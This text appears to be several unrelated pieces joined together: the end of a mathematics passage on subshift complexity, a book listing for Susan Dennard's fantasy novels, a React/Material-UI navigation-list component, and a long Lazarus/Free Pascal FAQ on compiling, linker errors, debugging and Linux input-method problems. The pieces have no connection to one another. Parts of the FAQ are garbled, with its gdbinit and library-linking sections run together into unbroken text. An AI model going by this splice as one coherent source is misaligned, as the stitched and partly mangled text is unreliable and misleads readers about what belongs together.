Suppose that $w$ has length $p>1$ and $q\geq 1$ appearances of $*$, and that $\operatorname{gcd}(p,q)=1$. Assume also that $w$ contains at least two different letters in $\mathcal{A}$. Then the subshift $(\Sigma_w, \tau_w)$ is infinite and minimal. Moreover there exist positive constants $C_1\leq C_2$ such that complexity $\rho$ of $\Sigma_w$ satisfies
\[{C_1}n^{{\log p}/{\log (p/q)}}\leq \rho(n)\leq C_2n^{{\log p}/{\log (p/q)}}\]
for every $n\geq 1$.
\end{thm}
This produces examples of minimal subshifts with super-linear complexity satisfying the assumptions in Theorem \ref{main}
\begin{cor}
Suppose moreover that $q^2<p$. Then every finitely generated subgroup of $[[\tau_w]]$ has the Liouville property. In particular $[[\tau_w]]'$ is a finitely generated, infinite, simple Liouville group.
\end{cor}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 1,833 |
Susan Dennard
Susan Dennard enjoyted a stint as a marine biologist before returning to her roots as a writer. Originally from the US, she now enjoys life abroad with her husband. You can visit her online at www.susandennard.com.
Books by Susan Dennard
Bloodwitch: A Witchlands Novel
by Susan Dennard - Fantasy, Fiction, Magic, Young Adult 13+
Susan Dennard's New York Times bestselling, young adult epic fantasy Witchlands series continues with the story of the Bloodwitch Aeduan. Aeduan has teamed up with the Threadwitch Iseult and the magical girl Owl to stop a bloodthirsty horde of raiders preparing to destroy a monastery that holds more than just faith. But to do so, he must confront his own father, and his past.
Windwitch: A Witchlands Novel
by Susan Dennard - Fiction, Paranormal, Romance, Young Adult 14+
After an explosion destroys his ship, the world believes Prince Merik, Windwitch, is dead. Scarred yet alive, Merik is determined to prove his sister's treachery. Upon reaching the royal capital, crowded with refugees, he haunts the streets, fighting for the weak ― which leads to whispers of a disfigured demigod, the Fury, who brings justice to the oppressed. When the Bloodwitch Aeduan discovers a bounty on Iseult, he makes sure to be the first to find her --- yet in a surprise twist, Iseult offers him a deal. She will return money stolen from him, if he locates Safi.
Sightwitch: A Tale of the Witchlands
by Susan Dennard - Fantasy, Fiction, Young Adult 13+
Ryber Fortiza was a Sightwitch Sister at a secluded convent, waiting to be called by her goddess into the depths of the mountain. But when that call never comes, Ryber finds herself the only Sister without the Sight. Soon enough, Ryber is the only Sister left. Now, it is up to her to save her Sisters, though she does not have the Sight. On her journey underground, she encounters a young captain named Kullen Ikray. Together, the two journey ever deeper in search of answers, and what they find at the end of that road will alter the fate of the Witchlands forever.
Strange and Ever After
by Susan Dennard - Fantasy, Fiction, Historical Fantasy, Historical Fiction, Young Adult 12+
It has been a tumultuous time for Eleanor Fitt since life as she knew it in Philadelphia came abruptly to an end. Although the Spirit-Hunters --- Joseph, Jie, and Daniel --- have helped her survive, Eleanor has lost just about everything. And now, Jie is missing --- taken by the evil necromancer Marcus. Eleanor is determined not only to get her back but to finally end this nightmare. To do so, she must navigate the hot desert streets of nineteenth-century Egypt amid the rising Dead, her unresolved feelings for Daniel, and her volatile relationships with Joseph and Oliver, her demon. It will take all of Eleanor's powers of black magic, and all of Daniel's and Joseph's trust, to succeed. But there will be a price.
Truthwitch: A Witchlands Novel
by Susan Dennard - Fantasy, Romance, Science Fiction, Youth Fiction
Safiya is a Truthwitch, able to discern truth from lie. Iseult, a Threadwitch, can see the invisible ties that bind and entangle the lives around her --- but she cannot see the bonds that touch her own heart. Safiya and Iseult just want to be free to live their own lives, but war is coming to the Witchlands. With the help of the cunning Prince Merik (a Windwitch and privateer) and the hindrance of a Bloodwitch bent on revenge, the friends must fight emperors, princes and mercenaries alike, who will stop at nothing to get their hands on a Truthwitch.
A Darkness Strange and Lovely
by Susan Dennard - Historical Fantasy
With her brother dead and her mother insane, Eleanor Fitt is alone. So when Eleanor hears the vicious barking of hounds and see haunting yellow eyes, she fears that the Dead, and the necromancer Marcus, are after her. To escape, Eleanor boards a steamer bound for France. But when she arrives in Paris, she finds that the Dead have taken over, and there's a whole new evil lurking. And she is forced to make a deadly decision that will go against everything the Spirit-Hunters stand for.
Something Strange and Deadly
by Susan Dennard - Fiction, Paranormal, Young Adult 13+, Youth Fiction
Eleanor Fitt has a lot to worry about. Whoever is controlling the Dead army has taken her brother as well. If Eleanor is going to find him, she'll have to venture into the lab of the notorious Spirit-Hunters, who protect the city from supernatural forces. But as Eleanor spends more time with the Spirit-Hunters, including the maddeningly stubborn yet handsome Daniel, the situation becomes dire. And now, not only is her reputation on the line, but her very life may hang in the balance. | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 4,484 |
import * as React from 'react';
import Box from '@material-ui/core/Box';
import { styled, ThemeProvider, createTheme } from '@material-ui/core/styles';
import Divider from '@material-ui/core/Divider';
import List from '@material-ui/core/List';
import ListItem from '@material-ui/core/ListItem';
import ListItemButton from '@material-ui/core/ListItemButton';
import ListItemIcon from '@material-ui/core/ListItemIcon';
import ListItemText from '@material-ui/core/ListItemText';
import Paper from '@material-ui/core/Paper';
import IconButton from '@material-ui/core/IconButton';
import Tooltip from '@material-ui/core/Tooltip';
import ArrowRight from '@material-ui/icons/ArrowRight';
import KeyboardArrowDown from '@material-ui/icons/KeyboardArrowDown';
import Home from '@material-ui/icons/Home';
import Settings from '@material-ui/icons/Settings';
import People from '@material-ui/icons/People';
import PermMedia from '@material-ui/icons/PermMedia';
import Dns from '@material-ui/icons/Dns';
import Public from '@material-ui/icons/Public';
const data = [
{ icon: <People />, label: 'Authentication' },
{ icon: <Dns />, label: 'Database' },
{ icon: <PermMedia />, label: 'Storage' },
{ icon: <Public />, label: 'Hosting' },
];
const FireNav = styled(List)({
'& .MuiListItemButton-root': {
paddingLeft: 24,
paddingRight: 24,
},
'& .MuiListItemIcon-root': {
minWidth: 0,
marginRight: 16,
},
'& .MuiSvgIcon-root': {
fontSize: 20,
},
});
export default function CustomizedList() {
const [open, setOpen] = React.useState(true);
return (
<Box sx={{ display: 'flex' }}>
<ThemeProvider
theme={createTheme({
components: {
MuiListItemButton: {
defaultProps: {
disableTouchRipple: true,
},
},
},
palette: {
mode: 'dark',
primary: { main: 'rgb(102, 157, 246)' },
background: { paper: 'rgb(5, 30, 52)' },
},
})}
>
<Paper elevation={0} sx={{ maxWidth: 256 }}>
<FireNav component="nav" disablePadding>
<ListItemButton component="a" href="#customized-list">
<ListItemIcon sx={{ fontSize: 20 }}>🔥</ListItemIcon>
<ListItemText
sx={{ my: 0 }}
primary="Firebash"
primaryTypographyProps={{
fontSize: 20,
fontWeight: 'medium',
letterSpacing: 0,
}}
/>
</ListItemButton>
<Divider />
<ListItem component="div" disablePadding>
<ListItemButton sx={{ height: 56 }}>
<ListItemIcon>
<Home color="primary" />
</ListItemIcon>
<ListItemText
primary="Project Overview"
primaryTypographyProps={{
color: 'primary',
fontWeight: 'medium',
variant: 'body2',
}}
/>
</ListItemButton>
<Tooltip title="Project Settings">
<IconButton
size="large"
sx={{
'& svg': {
color: 'rgba(255,255,255,0.8)',
transition: '0.2s',
transform: 'translateX(0) rotate(0)',
},
'&:hover, &:focus': {
bgcolor: 'unset',
'& svg:first-of-type': {
transform: 'translateX(-4px) rotate(-20deg)',
},
'& svg:last-of-type': {
right: 0,
opacity: 1,
},
},
'&:after': {
content: '""',
position: 'absolute',
height: '80%',
display: 'block',
left: 0,
width: '1px',
bgcolor: 'divider',
},
}}
>
<Settings />
<ArrowRight sx={{ position: 'absolute', right: 4, opacity: 0 }} />
</IconButton>
</Tooltip>
</ListItem>
<Divider />
<Box
sx={{
bgcolor: open ? 'rgba(71, 98, 130, 0.2)' : null,
pb: open ? 2 : 0,
}}
>
<ListItemButton
alignItems="flex-start"
onClick={() => setOpen(!open)}
sx={{
px: 3,
pt: 2.5,
pb: open ? 0 : 2.5,
'&:hover, &:focus': { '& svg': { opacity: open ? 1 : 0 } },
}}
>
<ListItemText
primary="Build"
primaryTypographyProps={{
fontSize: 15,
fontWeight: 'medium',
lineHeight: '20px',
mb: '2px',
}}
secondary="Authentication, Firestore Database, Realtime Database, Storage, Hosting, Functions, and Machine Learning"
secondaryTypographyProps={{
noWrap: true,
fontSize: 12,
lineHeight: '16px',
color: open ? 'rgba(0,0,0,0)' : 'rgba(255,255,255,0.5)',
}}
sx={{ my: 0 }}
/>
<KeyboardArrowDown
sx={{
mr: -1,
opacity: 0,
transform: open ? 'rotate(-180deg)' : 'rotate(0)',
transition: '0.2s',
}}
/>
</ListItemButton>
{open &&
data.map((item) => (
<ListItemButton
key={item.label}
sx={{ py: 0, minHeight: 32, color: 'rgba(255,255,255,.8)' }}
>
<ListItemIcon sx={{ color: 'inherit' }}>
{item.icon}
</ListItemIcon>
<ListItemText
primary={item.label}
primaryTypographyProps={{ fontSize: 14, fontWeight: 'medium' }}
/>
</ListItemButton>
))}
</Box>
</FireNav>
</Paper>
</ThemeProvider>
</Box>
);
}
| {
"redpajama_set_name": "RedPajamaGithub"
} | 9,491 |
Q: Can you help me understand how constraints are mathematically expressed? Self studying Lagrangian mechanics using Goldstein.
Holonomic constraints, an example being the distance between two particles of a rigid body, can be expressed as $(r_i - r_j)^2 - c_{ij}^2 =0$ and non-holonomic constraints can be expressed as $r^2-a^2 \ge 0$
Can you help me understand this? Where this comes from and what it means?
A: The first constraint tells you that distances between particles constituting the rigid body are fixed - which is definition of rigid body. In this case, the distance between particle $i$ and particle $j$ is $\Delta r=\left|r_j-r_i\right|$ and this must be a constant to be called $c_{ij}$. But because we don't want to deal with absolute values, we write it as:
$$c^2_{ij}=\left(\Delta r\right)^2=\left(r_i-r_j\right)^2.$$
Now, holonomic constraints are constraints that can be expressed in the form $f(q_1..q_N,t)=0,$ where $q_i$ are coordinates of the system. In the case of our rigid body those are position vectors $r_i$ and the constraint is as you wrote:
$$c^2_{ij}-\left(r_i-r_j\right)^2=0$$
The other constraint $r^2\ge a^2$ tells you that length of radius vector must be always bigger than constant $a$. Because this cannot be rewritten to the form $f(q_1..q_N,t)=0$, the constraint is nonholonomic. It can be interpreted as constraint that motion can happen only outside of a sphere with radius $a$ positioned at the centre of our coordinate system. For example if you analyze gravitational motion around some planet and you put origin of coordinate system to center of this planet, then the motion can happen only above the surface of the planet.
Or is it something else you don't understand?
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 9,035 |
{"url":"http:\/\/wiki.freepascal.org\/Lazarus_Faq","text":"# Lazarus Faq\n\n\u0627\u0644\u0639\u0631\u0628\u064a\u0629\u00a0(ar) Deutsch\u00a0(de) English\u00a0(en) espa\u00f1ol\u00a0(es) fran\u00e7ais\u00a0(fr) magyar\u00a0(hu) italiano\u00a0(it) \u65e5\u672c\u8a9e\u00a0(ja) \ud55c\uad6d\uc5b4\u00a0(ko) portugu\u00eas\u00a0(pt) \u0440\u0443\u0441\u0441\u043a\u0438\u0439\u00a0(ru) sloven\u010dina\u00a0(sk) \u4e2d\u6587\uff08\u4e2d\u56fd\u5927\u9646\uff09\u200e\u00a0(zh_CN) \u4e2d\u6587\uff08\u53f0\u7063\uff09\u200e\u00a0(zh_TW)\n\nNote: This FAQ may be outdated in certain parts.\n\n## General\n\n### What is Lazarus?\n\nLazarus is a cross-platform integrated development environment (IDE) that lets you create visual (GUI) and non-visual Object Pascal programs, and uses the Free Pascal compiler to generate your executable. Its aim is write once, compile anywhere: you should be able to just recompile your program source code with Lazarus running on another operating system (or a cross compiler) and get a program that runs on that operating system.\n\nFor more details see Overview of Free Pascal and Lazarus\n\n### Why are the generated binaries so big?\n\nThe binaries are big because they include a lot of debug information necessary for using gdb (GNU Debugger). A debugger is a program that is used to test your code. It uses the extra-information stored in your binary to test it. But once your program is working well, you may delete those infos and reduce the size of the binary.\n\nQuick guide to Lazarus\/FPC application size reduction\n\n\u2022 1. Project|Compiler Options|Code|Smart Linkable (-CX) -> Checked\n\u2022 2. Project|Compiler Options|Linking|Debugging| Uncheck all except Strip Symbols From Executable (-Xs)\n\nNote: only do this if you don't need to run the debugger. For more details, see Size Matters\n\nLazarus executable size starts big, but grows very slowly, because of the way the LCL is designed, and its use of certain Free Pascal features (RTTI). Projects that don't use the LCL are much smaller (this is similar to some non-GUI C++ frameworks). This typically requires more manual coding though.\n\n### Do I need ppc386.cfg or fpc.cfg?\n\nYou only need fpc.cfg. This way the compiler knows where to find the libraries.\n\n### How do I compile Lazarus?\n\nDo something like this:\n\ncd lazarus\nmake clean all\n\nIf you want to build Lazarus for different widgetset eg. Qt (supported on Linux, Windows and OSX) then use the LCL_PLATFORM argument:\n\ncd lazarus\nmake clean all LCL_PLATFORM=qt\n\n### What version of FPC is required?\n\n\u2022 Lazarus 1.0.8 requires at least FPC 2.6.2.\n\u2022 Lazarus 1.0 requires at least FPC 2.6.0.\n\n### I can't compile Lazarus\n\n1. Check if the compiler is the correct version\n2. Check if the (fpc) libraries are from the same version\n3. Check if the compiler installation path has spaces in it. Make sure it doesn't!\n4. Check if you have a fpc.cfg and no old ppc386.cfg\n5. Check also the OS-dependent FAQs\n6. If you're still stuck, ask on the forum or Lazarus mailing list\n\n### How to embed a small file in the executable, without the need of a separate file? How to embed a resource?\n\nBoth Lazarus resource and Windows-type\/FPC resources are supported. See Lazarus Resources.\n\n### What is the meaning of the various file extensions used by Lazarus?\n\nThe Lazarus Tutorial#The Lazarus files explains some extensions by an example. Here is a brief list:\n\nextension filetype description\n.lpi Lazarus\u00a0Project\u00a0Information contains project-specific settings like compiler settings and needed packages. stored in XML\n.lps Lazarus Program Session Personal data like cursor positions, source editor files, personal build modes. stored in XML\n.lpr Lazarus Program Pascal source of main program.\n.lfm Lazarus Form Form configuration information for all objects on a form (stored in a Lazarus-specific textual format, similar to Delphi fdm; the actions are described by Pascal source code in a corresponding *.pas file)\n.pas\n.pp\n.p\nPascal code Pascal code typically for a form stored in a corresponding *.lfm file\n.lrs Lazarus Resource Generated Lazarus Resource file; not to be confused with a Windows resource file.\n\nThis file can be created with lazres tool (in directory Lazarus\/Tools) using commandline: lazres myfile.lrs myfile.lfm\n\n.ppu Compiled unit Compiled source code created by the Free Pascal compiler for each unit and program.\n.o Object file created by the compiler, every ppu file has a corresponding o file, needed by the linker.\n.lpk Lazarus package information package-specific settings, like compiler settings and needed packages; stored in XML\n.lrt Lazarus\u00a0Resourcestring\u00a0table Lazarus Resourcestring table created when saving a lfm file and i18n is enabled. It contains the TTranslateString properties of the lfm. Do not edit them, they are overwritten.\n.rst Resourcestring table Resourcestring table created by the compiler for every unit with a resourcestring section. Do not edit them, they are overwritten.\n.po gnu gettext messages When i18n is enabled the IDE creates\/updated the .po files with the resourcestrings from the rst and lrt files.\n\n### Why are TForm.ClientWidth\/ClientHeight the same as TForm.Width\/Height\n\nThe TForm.Width\/Height do no include the frame, because there was no way to retrieve the frame size on all platforms. Without a reliable way, the LCL would move the forms around on the screen or resize them endlessly.\n\nEventually it will be changed when there is a reliable way to get the size and position of a window with its frame on all platforms. To keep compatibility with older LCL forms, a version number and some extra methods will be added.\n\n## Errors\n\nPlatform specific errors\/problems are also covered in sections below.\n\n### 'Fatal: Circular unit reference between a and b'\n\nA common thing happened to a new user when one wants to create two forms referencing each other's properties. The error above only happens to uses clause of interface section, thus it's OK to put it in implementation section. Example:\n\nThis one causes error:\n\nunit a;\n\ninterface\n\nuses b;\n\nimplementation\n\nend.\nunit b;\n\ninterface\n\nuses a;\n\nimplementation\n\nend.\n\nBut this one doesn't:\n\nunit a;\n\ninterface\n\nimplementation\n\nuses b;\n\nend.\nunit b;\n\ninterface\n\nimplementation\n\nuses a;\n\nend.\n\nIn some cases the minimal base class method might be suitable.\n\nSeparate one class into a minimal base class (what the other needs) and derive it for the rest of the implementation.\n\nunita: uses unitb\n\n type\nClassA = class(BaseClassA)\n\/\/ rest of ClassA\nend;\n\nunitb:\n\n type\nClassB = class; \/\/forward declaration\n\nBaseClassA = class\n\/\/ references ClassB\nend;\n\nClassB = class\n\/\/ references BaseClassA\nend;\n\n### When I do var mytext: text; to declare a text file, I get \"Unit1.pas(32,15) Error: Error in type definition\". How can I fix this?\n\nThe TControl class has a Text property. In a method of a form, that has higher visibility, the Text type from the system unit. You can use the TextFile type, which is just an alias for the Text type or you can add the unit to the type definition.\n\nvar\nMyTextFile: TextFile;\nMyText: System.Text;\n\nA similar name clash exists with assigning and closing a text file. TForm has a assign and a Close method. You can use AssignFile and CloseFile or add the unit name System.\n\n### I get an error when using Printer.BeginDoc\n\nThe unit Printers must be added to the uses section.\n\nThe Printer4Lazarus package must be added to your project requirement in the IDE under: Project|Project Inspector|Add|New Requirement|Package Name:\n\nIf the package Printer4Lazarus package is not in the list when opening the dropdown box it must be installed. The package is part of the Lazarus installation and can be found in: [lazarus installed directory]\\components\\printers\n\nIf you used the default installation directories [lazarus installed directory] is:\n\n\u2022 Windows: c:\\lazarus\n\u2022 Linux: \/usr\/lib\/lazarus\n\nThe same solution also applies to the exception you can get when referencing Printer.Printers\n\n### When I try to compile a project, I get an error message \"Cannot find Unit ...\"\n\nFor information on the error \"Cannot find unit interfaces\", see the next section.\n\n### When I try to compile a project, I get an error message \"Cannot find Unit interfaces\"\n\nThis error means that the compiler can not find the file 'interfaces.ppu' or the file was found, but it is wrong or outdated (the .ppu file date code is older than the date code of the compiler itself). Testing the compiler option settings can help debug these issues, via Project: Compiler Options... (use the Test button at the bottom of the dialog). This test also lets you check that the {TargetCPU} and {TargetOS} variables are set properly.\n\nThe interfaces unit can be found in {LazarusDir}\\lcl\\units\\{TargetCPU}-{TargetOS}\\{LCLWidgetSet}\\interfaces.ppu. For example: \/home\/username\/lazarus\/lcl\/units\/i386-linux\/gtk\/interfaces.ppu.\n\nIt is normal to have multiple versions of interfaces.ppu (in the proper directories) to allow compiling with different widgets.\n\nIf the interface.ppu file is in the folder matching the OS and CPU you selected in the project preferences, and you get this error, you are using a different compiler \/ RTL for compiling your project than you used for compiling your Lazarus IDE, or the libraries need to be recompiled to give the .ppu files newer compilation dates.\n\nYou can do one of the following:\n\n1. Set the compiler in the Environment Options to the one you used to compile Lazarus. Also look carefully in the Environment Options to see if you are using the correct paths for the Lazarus directory and the FPC sources directory. Check that there is only one version of the compiler configuration file fpc.cfg - it should reside in \/etc\/ for Linux\/Unix systems or in the same directory as the fpc compiler for Windows systems. Try to run \"fpc -vt bogus\" to check which fpc.cfg is being used in your system. Rogue copies often creep in if you have updated your compiler to a new version; they may be found in your home directory or in the same directory as the one in which you built your new compiler. DELETE THESE!\n2. Rebuild the LCL (or Lazarus completely) with the compiler selected in the Environmnent Options. You can do this with Tools -> Build Lazarus. Before doing this, check the current settings in Tools -> Configure Build Lazarus.\n3. You may also try to change the widgetset currently selected for the project. For example, the sample project \"objectinspector\" that comes with Lazarus is set to gtk by default. Compiling this project will surely give you \"Can't find unit interfaces\" in Windows platform. Changing widgetset to default(Win32) in Project Options | Compiler Options... should fix this issue.\n\n### When I compile a project, that uses a LCL unit, I get a linker error\n\nHere is an example for such a linker error:\n\n\/path\/to\/lazarus\/lcl\/units\/x86_64-linux\/wsimglist.o: In function REGISTERCUSTOMIMAGELIST':\n\/path\/to\/lazarus\/lcl\/\/widgetset\/wsimglist.pp:266: undefined reference to WSRegisterCustomImageList'\n\n\u2022 Make sure yor project uses the package LCL. You can check this in the project inspector.\n\u2022 Make sure unit \"interfaces\" is used as one of the first units of your program.\n\nNote: These functions are implemented by the LCL backends. By adding the unit interfaces, you link a LCL backend into your program.\n\n### At the line\u00a0:{$R *.DFM} How can I solve this problem? Lazarus (or better Linux) doesn't know about resources, so you can't use them in the way Delphi\/Win32 does. However Lazarus uses a method pretty compatible with this. You can still use your Delphi layouts (.dfm files) if you use the following steps: \u2022 You need a textual version of the .dfm files. D5 and higher are doing this by default. If you have older files: Alt+F12 to see the layout as text and paste\/copy. When you have a text .dfm file, just copy it to a .lfm file. \u2022 Create a file with lazres (in lazarus\/tools) lazres yourform.lrs yourform.lfm \u2022 Add the following initialization section to initialization {$I yourform.lrs}\n\nPlease keep in mind that not all properties in the dfm are supported yet by Lazarus, so you might get a crash.\n\nEdit: Since FPC 2.4.0, Delphi style resources are supported, so you don't need to change anything. Even Lazarus SVN already uses it as default projects. Note: it's still advised that you use Lazarus' Delphi project converter as there might still be unsupported properties.\n\nWhen creating a form Lazarus automaticaly add some extra units to the uses section of your form unit. During the conversion of a delphi unit to a Lazarus unit this does not happen. So you need to add LResources to the Uses section of your form unit.\n\n### When accessing events of objects, e.g., the onclick event of a button, I get the following error. ERROR unit not found: stdCtrls\n\nMake sure, in the Project -> Project Inspector, that your project depends on the package \"LCL\" and that you have installed the FPC sources.\n\nLazarus is the IDE and the visual components library LCL. All other stuff, like IO, Database, FCL and RTL are provided by FPC. The IDE needs the paths to all sources.\n\nThe FPC source path can be set via: Environment -> Environment Options -> Files -> FPC source directory\n\n### 'Fatal: Internal error XXXXYYZZW'\n\nAn internal error is a compiler error that is not expected to happen (but is prepared to easily track down the problem if happens by giving code XXXXYYZZW). Every internal error is a bug, thus it's advised to report to the bugtracker (with small example that can demonstrate the internal error) when one gets it.\n\n### Lazarus cannot open a project if last character of the path to it is a space\n\nIf you try to open a project like \"\/home\/bart\/space \/test.lpi\" (note the space just before \/test.lpi), the Lazarus IDE will give an error saying it cannot find \"\/home\/bart\/space \/test.lpi\".\nThis is a known limit of the IDE, which is caused by the fact that the IDE a.o. has to handle paths that users have supplied in edit controls, which have to be stripped from surrounding spaces.\nThis limitation in no way affects user programs written in Fpc\/Lazarus.\nAvoid such pathnames for projects.\n\n## Debugger\n\n### How can I inspect properties?\n\nYou have to use FPC 2.4 or newer.\n\nIf you compile your application using -gw (dwarf debug info), you should be able to inspect properties.\n\nNote: This is only true for properties that map directly to a variable (the \"read\" declaration points to a member, not a function).\n\nIf your property returns the value of a function it is very dangerous to evaluate\/inspect it. It would require this function to be called, and very often it would change the values of some of your variables. This would mean it would alter the state of your application in the debugger, and any further code-execution, debugging or inspections would return incorrect results.\n\nThe optional ability to explicitly inspect the results of functions (with the risks described), and therefore calling code from the debugger is not yet implemented\n\n### Why does the debugger not show some Variables\/Structures (\"no such symbol\"\/\"incomplete type\")\n\nFor problems debugging:\n\n\u2022 properties\n\u2022 Array of ... (Dynamic Array)\n\u2022 Variables in Nested Procedures\n\u2022 \"no such symbol in context\"\n\u2022 \"incomplete type\"\n\n### How can I debug FCL components from packages with Lazarus\n\nFCL components and classes are built without debug information by default and as a result, gdb cannot access component methods or properties. To build package components they must be rebuilt with a debug-line information \"-gl\" switch.\n\nThis example assumes you have a Linux distribution with \/usr\/local\/ installation prefix and that the Database package fcl-db is what is needed to contain debug-line information. While the fcl-db is used in this example, you may issue this make command from ANY of the included packages.\n\nBefore you begin, you need to locate your FPC path by examining your FPC configuration file. The file (fpc.cfg) is located at \/etc\/fpc.cfg. Display the contents of fpc.cfg and find your fpc installation path. Look for a line starting with -Fu in the fpc.cfg:\n\n-Fu\/usr\/local\/lib\/fpc\/$fpcversion\/units\/$fpctarget\/*\n\n\nMake scripts are installing units into INSTALL_PATH\/lib\/fpc\/$fpcversion\/units\/$fpctarget\/, so you must be sure that \/usr\/local is the installation path, and should be assigned to INSTALL_PREFIX, otherwise the Make scripts will place units where they don't belong or the Make script will fail.\n\nStep 1: Open a shell terminal\nStep 2: cd \/user\/local\/share\/src\/fpc-2.3.1\/fpc\/fcl-db\/\nStep 3: sudo make clean all install INSTALL_PREFIX=\/usr\/local OPT=-gl\n\nNote: INSTALL_PREFIX parameter should be properly configured for units to be installed.\n\nIn the sample below \/usr\/local is a default fpc path for Linux, but may vary on other OSes.\n\nmake clean all install INSTALL_PREFIX=\/usr\/local OPT=-gl\n\nFinally, after rebuilding any FCL units you may want to rebuild LCL as well.\n\n### How can I use a log file for debugging?\n\nLazarus provides a basic log framework in the unit LazLogger. See that page for more details.\n\n### How can I use a Log-file for debugging the IDE itself?\n\nLazarus itself uses LazLogger.\n\nThis means that you can run Lazarus with\n--debug-log=lazarusdebuglog.txt\n\nIf this is not sufficient: in the IDE the extent of the information that is logged can be controlled with --debug-enable. See --help for a list of keywords, or install the package IdeLazLogger.\n\nIf you want output on a console (most useful for Windows), add the option -WC in the Tools \/ Configure \"Build Lazarus\" options. Then rebuild Lazarus.\n\n## Contributing \/ Making Changes to Lazarus\n\n### I created a Patch to dock the IDE Messages form on the \"Source Code Editor\" form (at bottom)\n\nSuch patches will not be applied, because they only implement a small part of the needed docking. The goal is to create a complete dock manager and use that. A complete dock manager can dock all IDE windows and it allows to let the user define how to dock. For example dock the messages window above or below the source editor\u00a0\u2014 or not at all. For instance,\n\n+-------------------++--+\n+-------------------+| |\n+--++---------------+| |\n|PI|| Source Editor ||CE|\n+--+| || |\n+--+| || |\n| |+---------------++--+\n|OI|+-------------------+\n| ||messages |\n+--++-------------------+\n\n\nThe dock manager can store the layout and restore it on next load. Preferably the dock manager can dock in pages too. The dock manager does not need to use drag and drop. All patches implementing docking without a dock manager makes it harder to implement a real dock manager and will be rejected.\n\nAn example for such a dock manager is the package anchordockdsgn,\n\n### I have fixed\/improved Lazarus. How can I add my changes to the official Lazarus source?\n\nCreate a patch and send it to the developers. For details, see Creating A Patch.\n\n### How can I become a Lazarus developer and access management in the SVN and bug-tracker?\n\nFirst of all, you must learn about Lazarus, to prove your knowledge and skill. Start by reading the Lazarus Documentation wiki article, read the Lazarus source code, giving a look at the Lazarus Bug-Tracker, fix some bugs, and if you think you are ready, contact the developers on the mailing list.\n\n## Where is ... defined\n\n### Virtual key constants\n\nVirtual key constants are defined in LCLType. Add LCLtype to your uses.\n\n## Using the IDE\n\n### How can I use \"identifier completion\"?\n\nYou can invoke identifier completion by pressing [ctrl][space]. Under the menu item Environment -> Editor Options -> Code Tools -> Automatic Features you can set how quick this should happen automatically.\n\n### Can I change the code editor font and colours?\n\nYes, see the menu item Tools -> Options and use the Editor\/Display and Colors sections. On Windows you may find that the default Courier (and some other typefaces) are either too sharp or too soft, either selecting\/deselecting 'Disable anti-aliasing'. TrueType fonts are an improvement, such as the free \"Bitstream Vera Sans Mono\" font available from [1]. (To install a new font, unzip and copy the files into a suitable folder. In Windows XP you will need to use the Fonts section of the Control Panel. In Windows 7 you may select all the font files, right-click and find an Install option in the pop-up menu)\n\n## Linux\n\n### Typing in edit fields generate duplicate letters\n\nThis is more likely to happen under Ubuntu and Ubunto derived distros, and with GNOME Desktop but other distros\/Desktop environments can be affected too.\n\nThe problem is originated by bugs in the ibus Input Method System. Unfortunately Ibus is the default input method of GNOME desktop.\n\nIf you don't know what an IM is, this means that you do not need it, and therefore the easiest way is to disable IM's at all.\n\nIn order to do that you have a number of options, namely:\n\n\u2022 1 - Disable (or set to \"none\") the Input Method in System Settings->Preferences->Input Method\n\u2022 2 - Add the three following lines in \/etc\/profile (system wide)\nexport GTK_IM_MODULE=gtk-im-context-simple\nexport QT_IM_MODULE=simple\nexport XMODIFIERS=@im=none\n\n\u2022 3 - Add a file named input_method.sh containing just the 3 lines above in \/etc\/profile.d (system wide)\n\u2022 4 - Add the 3 lines above in the home directory ~\/.xprofile (per user). If there's no ~\/.xprofile in your home directory, you should create one.\n\u2022 5 - Create a Lazarus launching script containing the same 3 lines. (affects only Lazarus)\n\nMethods 1 and 2 may not survive after a system update, while 3,4 and 5 will.\n\nBe aware that both GTK and QT applications may change dynamically the IM. If you experience the problem in an apparently random way, chances are good that some other application is enabling again an IM and fails to set to default when terminates. If such is the case method 5 is the only one suitable.\n\nhttps:\/\/fedoraproject.org\/wiki\/I18N\/InputMethods[2] (This is Fedora specific but most informations apply in general)\n\nhttp:\/\/www.pinyinjoe.com\/linux\/ubuntu-12-chinese-setup.htm[3] (This is Ubuntu specific, but again most informations apply in general. It explains how to enable IM but the info can be used also to disable it)\n\n### How can I debug on Linux without the IDE?\n\nFirst of all you need a debugger. gdb is the standard debugger under linux and there are several GUI-frontends available. One common frontend is ddd, which is part of most common distributions. To compile lazarus\/lcl with debug-information you should then use the following commands to start a debug session:\n\nmake clean; make OPT=-dDEBUG\nddd lazarus\n\nBe warned, however, that ddd is not as comfortable as, e.g., the Lazarus debugger, especially if it comes to view the contents of a variable you have to take into account that ddd\/gdb are case sensitive whereas Pascal is case-insensitive. Therefore, you have to type all variable names in uppercase to see their contents. For more information see the fpc-manuals.\n\n### I can debug now but ddd does not find my sources or complains that they contain no code. What's that?\n\nThis is a path-related problem with either gdb or ddd. You can avoid this by\n\n\u2022 Use the \"Change directory\" command from the ddd menu and choose the directory where the sources are located. The drawback of this method is that you now can't use the source of the program you started with (e.g. lazarus). Thus it may be neccessary to change the directory multiple times.\n\u2022 In ddd goto [gdb-settings] and set the search-path\n\u2022 Create a $(HOME)\/.gdbinit file like: directory \/your\/path\/to\/lazarus directory \/your\/path\/to\/lazarus\/lcl directory \/your\/path\/to\/lazarus\/lcl\/include ### I receive an error during the linking that states \/usr\/bin\/ld: cannot find -l<some lib> For example: \/usr\/bin\/ld: cannot find -lgdk This means an external library was not found. In the above case under Linux it means the libgdk.so or libgdk.a was not found. Normally this means, you forgot to install the development package of this library. In the case of gdk the package is called under the Fedora Core distribution: 'gtk+-devel-1.2.10-33'. Package Based Distributions You need to install the package that provides the lib<somelib>.so or lib<somelib>.a files. Dynamic libs under linux have the extension .so, while static libs have the extension .a. On some Linux distro's you have installed the package (rpm, deb) <packagename> which provides <some lib>, but you also need the development package (rpm, deb), normally called <packagename>-dev, which contains the .a (static lib) and\/or the .so (dynamic lib). Some distributions have commands to find which package contains a file: Mandriva urpmf lib<somelib>.so will list all packages containing the file named lib<somelib>.so, you'll have to install those ending in -devel Debian install the apt-file utility (apt-get install apt-file) then apt-file search lib<somelib>.so will list all packages containing the file named lib<somelib>.so, you'll have to install those ending in -dev SuSE SuSE installs the gtk devel libs under \/opt\/gnome\/lib (or \/opt\/gnome\/lib64 for 64 bits), which is not in the standard lib path. Simply add it to your \/etc\/fpc.cfg. (-Fl\/opt\/gnome\/lib). Source Based Distributions and Manual 